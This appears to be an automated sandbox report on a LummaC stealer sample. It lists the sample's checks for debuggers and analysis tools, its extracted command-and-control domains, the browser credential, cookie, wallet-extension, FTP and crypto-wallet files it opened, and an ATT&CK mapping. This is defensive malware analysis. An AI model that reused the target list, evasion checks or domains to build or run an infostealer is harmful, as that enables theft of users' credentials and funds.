
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05F81526 rdtsc

0_2_05F81526

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05F7B0AA LdrInitializeThunk,

0_2_05F7B0AA

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2074944451.0000000000D1B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: oProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: 9Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1836739682.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1848164674.0000000000AA9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1992502192.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1848252435.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1836809585.000000000559B000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	35 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	35 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
